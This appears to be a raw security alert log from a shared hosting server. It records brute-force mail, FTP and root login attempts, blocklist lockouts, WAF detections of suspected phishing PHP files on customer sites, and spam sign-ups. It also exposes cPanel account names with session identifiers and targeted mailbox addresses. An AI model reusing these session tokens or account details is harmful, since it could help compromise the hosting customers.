[2026-06-07 00:51:12 +0000] info [cpaneld] 5.231.255.143 NEW ttfuehop:giQglX_P3ZW2ob2m address=5.231.255.143,app=cpaneld,creator=ttfuehop,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:51:19 dovecot_login authenticator failed for H=(rAXMSZJpQK) [141.98.10.24]:59266: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.24
country_id: 6252001
description:
[2026-06-07 00:51:14 +0000] info [cpaneld] 64.44.62.24 NEW marketplacenetma:UDG0gyzh87HBw_0r address=64.44.62.24,app=cpaneld,creator=marketplacenetma,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:51:17 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.89.246.144
country_id: 6252001
description:
Jun  7 00:52:09 ns5 pure-ftpd[3287994]: (?@47.89.246.144) [WARNING] Authentication failed for user [sodigaz]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:51:58 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:52:00 dovecot_login authenticator failed for H=(ZuJFFezT) [141.98.10.24]:50957: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.181.140
country_id: 2510769
description:
2026-06-07 00:53:46 dovecot_login authenticator failed for H=140.red-80-29-181.dynamicip.rima-tde.net ([182.95.21.30]) [80.29.181.140]:32787: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 3.133.130.56
country_id: 6252001
domain: mail.test.free.netmaster.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/9RD-ovUAt7zt7m8V6ioVGolNG_dxUNietTw83_U3llc||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.233
country_id: 2635167
description:
[2026-06-07 00:53:29 +0000] info [cpaneld] 5.230.133.233 NEW nxpivbcy:erukMFTeHOFpTkR3 address=5.230.133.233,app=cpaneld,creator=nxpivbcy,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 18.216.100.10
country_id: 6252001
domain: www.test.free.netmaster.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/1mdDNArbNBrpIwtvlD06WnIBULEbXRqdyhKNnWQ5JX8||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.154
country_id: 2635167
description:
[2026-06-07 00:52:57 +0000] info [cpaneld] 5.230.133.154 NEW ebbmnmtd:DG_gtDhN9NaHqYHr address=5.230.133.154,app=cpaneld,creator=ebbmnmtd,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 3.19.30.67
country_id: 6252001
domain: cpcalendars.test.free.netmaster.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/5w1tucm0BYlJTf_0QmCceHk0bi6tNJ9wi72i_LDs07w||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.14
country_id: 2635167
description:
[2026-06-07 00:52:58 +0000] info [cpaneld] 5.230.153.14 NEW pkyvzjjc:f6tGhC5af2lxtL5C address=5.230.153.14,app=cpaneld,creator=pkyvzjjc,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 3.133.130.56
country_id: 6252001
domain: cpanel.test.free.netmaster.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/bG4IxWKZjbLe95zqezfTMKNrr0rCuRIhJk2_Xt-cGPk||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.84
country_id: 6252001
description:
[2026-06-07 00:53:09 +0000] info [cpaneld] 107.175.5.84 NEW expirefreenetmas:peILivPv3PjKC3d4 address=107.175.5.84,app=cpaneld,creator=expirefreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.125
country_id: 2635167
description:
[2026-06-07 00:53:06 +0000] info [cpaneld] 5.230.153.125 NEW ruuwezvf:7WeZzdQd7PylUZFY address=5.230.153.125,app=cpaneld,creator=ruuwezvf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.156
country_id: 2635167
description:
[2026-06-07 00:53:08 +0000] info [cpaneld] 5.230.133.156 NEW edjatiapougloe:BMWbUQcCsDQeciXE address=5.230.133.156,app=cpaneld,creator=edjatiapougloe,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.122
country_id: 2635167
description:
[2026-06-07 00:53:20 +0000] info [cpaneld] 5.230.153.122 NEW cafeitadm:nbyUWEtAXwR5qnSn address=5.230.153.122,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 173.211.89.151
country_id: 6252001
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.034684809397716.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:53:33 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:53:35 dovecot_login authenticator failed for H=(iXRk1VP) [141.98.10.24]:56622: 535 Incorrect authentication data (set_id=adt-togo)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 3.133.130.56
country_id: 6252001
domain: cpcontacts.test.free.netmaster.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/ZNoaYwk5xV0bOozVnymT0LJMVYr1ybcDPBT2yaflsjM||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.175.229.201
country_id: 2921044
domain: ca-togo.org
description:
IM360 WAF: Possible phishing page detected||SC:/home/egjvuiox/public_html/.715869262202677.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 216.189.152.178
country_id: 6252001
description:
[2026-06-07 00:53:10 +0000] info [cpaneld] 216.189.152.178 NEW uypcrwbr:SwBOni_S0ghsYY1K address=216.189.152.178,app=cpaneld,creator=uypcrwbr,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 18.216.100.10
country_id: 6252001
domain: test.free.netmaster.tg
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/qYeShgIOZE_kPuuVabtMgmxQv2MJkyJnvU_-4AEGdyI||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.112
country_id: 3017382
description:
[2026-06-07 00:53:05 +0000] info [cpaneld] 5.231.255.112 NEW pnlpzmfv:7i3Y7I70JkEfh4wb address=5.231.255.112,app=cpaneld,creator=pnlpzmfv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.179
country_id: 2921044
description:
[2026-06-07 00:53:23 +0000] info [cpaneld] 5.175.229.179 NEW cietg:Y2OHKGeBEbmWaDe6 address=5.175.229.179,app=cpaneld,creator=cietg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:54:12 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:54:14 dovecot_login authenticator failed for H=(ImPv7M) [141.98.10.24]:56469: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.191.77.249
country_id: 6252001
description:
Jun  7 00:54:18 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.191.77.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.191.77.249
country_id: 6252001
description:
2026-06-07 00:54:20 dovecot_login authenticator failed for H=wsip-98-191-77-249.lf.br.cox.net (static-185-2-228-48.cust.tele2.lt) [98.191.77.249]:54639: 535 Incorrect authentication data (set_id=admin@soena.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.201
country_id: 2921044
description:
[2026-06-07 00:55:17 +0000] info [cpaneld] 5.175.229.201 NEW sadis:fr7skdfqeFS0D3jx address=5.175.229.201,app=cpaneld,creator=sadis,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-07 00:55:06 +0000] info [cpaneld] 5.230.153.33 NEW mbyqtkiw:HZdho6xAEyUKBpG4 address=5.230.153.33,app=cpaneld,creator=mbyqtkiw,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.16
country_id: 2635167
domain: anamek.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ljrwwgxg/public_html/.885067454261492.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.94
country_id: 2635167
domain: afrique-distribution.net
description:
IM360 WAF: Possible phishing page detected||SC:/home/sadis/public_html/.185236036486152.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.114
country_id: 2635167
description:
[2026-06-07 00:55:09 +0000] info [cpaneld] 5.230.133.114 NEW abttogo:UNPaagC29SmAZfIF address=5.230.133.114,app=cpaneld,creator=abttogo,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:54:53 dovecot_login authenticator failed for H=(Fw5B5bN6I3) [141.98.10.24]:54251: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:54:51 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.94
country_id: 2635167
description:
[2026-06-07 00:56:38 +0000] info [cpaneld] 5.230.153.94 NEW glfmqhlj:dCXDt21tNoWEhOXp address=5.230.153.94,app=cpaneld,creator=glfmqhlj,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 45.58.50.155
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.107905432576809.php||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.44
country_id: 2635167
domain: expire.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/expirefreenetmas/public_html/.695134166440660.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.16
country_id: 2635167
description:
[2026-06-07 00:56:25 +0000] info [cpaneld] 5.230.133.16 NEW ylhgcaui:_pBgENd2M5B0cz2z address=5.230.133.16,app=cpaneld,creator=ylhgcaui,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.24
country_id: 597427
description:
2026-06-07 00:55:58 dovecot_login authenticator failed for H=(FxIf0O) [141.98.10.24]:51060: 535 Incorrect authentication data (set_id=adt-togo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.24
country_id: 597427
description:
Jun  7 00:55:56 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.24 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.56
country_id: 2635167
domain: anamek.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ljrwwgxg/public_html/.953385596464391.php||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.23
country_id: 2635167
description:
[2026-06-07 00:57:06 +0000] info [cpaneld] 5.230.153.23 NEW cinemafreenetmas:QOBuCb_rP3eeW5lk address=5.230.153.23,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.18
country_id: 2635167
description:
[2026-06-07 00:57:12 +0000] info [cpaneld] 5.230.153.18 NEW mbyqtkiw:6yiI9hUoqBQJNv9p address=5.230.153.18,app=cpaneld,creator=mbyqtkiw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.211
country_id: 2635167
description:
[2026-06-07 00:57:11 +0000] info [cpaneld] 5.230.153.211 NEW cafeitadm:ZaALhhmZT5bkcUcM address=5.230.153.211,app=cpaneld,creator=cafeitadm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.121.241.157
country_id: 6252001
description:
[2026-06-07 00:59:05 +0000] info [whostmgrd] 69.121.241.157 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.159.75.50
country_id: 1814991
description:
27.159.75.50 - - [07/Jun/2026:00:59:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6905961&pdata=http%253A%252F%252Fbutodra.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780793978 HTTP/1.1" 302 0 butodra.tg "http://butodra.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.159.75.50


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.84.172.188
country_id: 3469034
description:
[2026-06-07 01:03:40 +0000] info [whostmgrd] 187.84.172.188 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.39.82
country_id: 1814991
description:
2026-06-07 01:06:21 dovecot_login authenticator failed for H=([60.174.39.82]) [60.174.39.82]:40182: 535 Incorrect authentication data (set_id=it@togosem.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.174.39.82
country_id: 1814991
description:
Jun  7 01:06:19 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.174.39.82 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.94.228.152
country_id: 3437598
description:
[2026-06-07 01:08:53 +0000] info [whostmgrd] 181.94.228.152 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:01-13.146.19.125.71||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Secure Your Diadem Reward eropolik.blogspot.se 1g||Email:crystalswan06@gmail.com||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.131.240.127
country_id: 798544
description:
Jun  7 01:17:03 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.131.240.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.46.161.220
country_id: 2017370
description:
2026-06-07 01:18:12 dovecot_login authenticator failed for H=([178.46.161.220]) [178.46.161.220]:39244: 535 Incorrect authentication data (set_id=webmaster@togosem.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.88.33.136
country_id: 6252001
description:
Jun  7 01:17:58 ns5 pure-ftpd[3311907]: (?@47.88.33.136) [WARNING] Authentication failed for user [togofeed]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.46.161.220
country_id: 2017370
description:
Jun  7 01:18:10 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.46.161.220 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.2.74.126
country_id: 1269750
description:
[2026-06-07 01:24:03 +0000] info [whostmgrd] 65.2.74.126 - esso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.242.162
country_id: 1269750
description:
Jun  7 01:25:26 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.242.162 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.227.227
country_id: 6252001
description:
47.77.227.227 - - [07/Jun/2026:01:27:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000579&pdata=https%253A%252F%252Femt.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780795626 HTTP/2.0" 302 0 emt.tg "https://emt.tg:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.227.227


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.216.189
country_id: 6252001
description:
47.77.216.189 - - [07/Jun/2026:01:27:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6317970&pdata=https%253A%252F%252Fns5mail.netmaster.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780795631 HTTP/2.0" 302 0 ns5mail.netmaster.tg "https://ns5mail.netmaster.tg:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.216.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.79.205
country_id: 6252001
description:
47.251.79.205 - - [07/Jun/2026:01:27:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858145&pdata=https%253A%252F%252F154.70.82.246%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780795623 HTTP/2.0" 302 0 154.70.82.246 "https://154.70.82.246:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.79.205


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.89.246.29
country_id: 6252001
description:
47.89.246.29 - - [07/Jun/2026:01:27:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053784&pdata=https%253A%252F%252Fdagl.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780795623 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.89.246.29


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.88.94.125
country_id: 6252001
description:
47.88.94.125 - - [07/Jun/2026:01:27:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13002696&pdata=https%253A%252F%252Fwww.arse.tg%253A2096%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780795626 HTTP/2.0" 302 0 www.arse.tg "https://www.arse.tg:2096/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.88.94.125


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.181.88.176
country_id: 2750405
domain: matosshop.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/matosshop.tg/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 115.190.185.31
country_id: 1814991
description:
Jun  7 01:34:05 ns5 pure-ftpd[3326227]: (?@115.190.185.31) [WARNING] Authentication failed for user [istm]


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 115.190.185.31
country_id: 1814991
description:
Jun  7 01:34:01 ns5 pure-ftpd[3326227]: (?@115.190.185.31) [INFO] New connection from 115.190.185.31


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [07/Jun/2026:01:36:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9855329&pdata=http%253A%252F%252Fselithgroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780796169 HTTP/1.1" 302 0 selithgroup.com "http://selithgroup.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [07/Jun/2026:01:36:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181935&pdata=http%253A%252F%252Fselithgroup.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780796214 HTTP/1.1" 302 0 selithgroup.com "http://selithgroup.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Claim Your One-Click Bonus sepoladi.blogspot.dk kl||Email:terrika.wanda.james37@gmail.com||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.124.116.45
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-36.89.124.116.45||RSV:8.14||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:01-37.146.19.125.71||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.146.136.67
country_id: 2635167
description:
[2026-06-07 01:42:39 +0000] info [whostmgrd] 109.146.136.67 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.124.116.45
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-42.89.124.116.45||RSV:8.14||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.152.240
country_id: 6252001
description:
Jun  7 01:43:14 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.152.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.152.240
country_id: 6252001
description:
2026-06-07 01:43:16 dovecot_login authenticator failed for H=(inger.tg) [104.28.152.240]:20434: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.170
country_id: 3469034
description:
Jun  7 01:45:50 ns5 auth[3021534]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.170 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.120.234.196
country_id: 1814991
description:
[2026-06-07 01:47:24 +0000] info [whostmgrd] 202.120.234.196 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.163.166.48
country_id: 1814991
description:
2026-06-07 01:47:58 H=([0.0.0.0]) [39.163.166.48]:14101 F=<John@4452.com> rejected RCPT <mointie.konlambigue@emt.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.56.59.182
country_id: 6252001
description:
2026-06-07 01:51:41 dovecot_login authenticator failed for H=(inger.tg) [72.56.59.182]:61585: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.245.129.160
country_id: 2921044
description:
Jun  7 01:56:39 ns5 pure-ftpd[3345416]: (?@47.245.129.160) [INFO] New connection from 47.245.129.160


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.163.166.48
country_id: 1814991
description:
2026-06-07 01:57:31 H=([0.0.0.0]) [39.163.166.48]:13944 F=<John@4452.com> rejected RCPT <mointie@emt.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 129.222.203.95
country_id: 3686110
description:
129.222.203.95 - - [07/Jun/2026:01:58:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7259497&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F05%252F18%252Fsecurite-nationale-deux-policiers-arretes-pour-meurtre-dune-commercante-a-djarkpanga%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780797488 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/05/18/securite-nationale-deux-policiers-arretes-pour-meurtre-dune-commercante-a-djarkpanga/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.8298.1394 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:129.222.203.95


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 74.244.135.210
country_id: 3865483
description:
74.244.135.210 - - [07/Jun/2026:01:58:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989786&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-311665retidm66der.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780797529 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-311665retidm66der.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:74.244.135.210


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.244
country_id: 6252001
domain: tdn.tg
description:
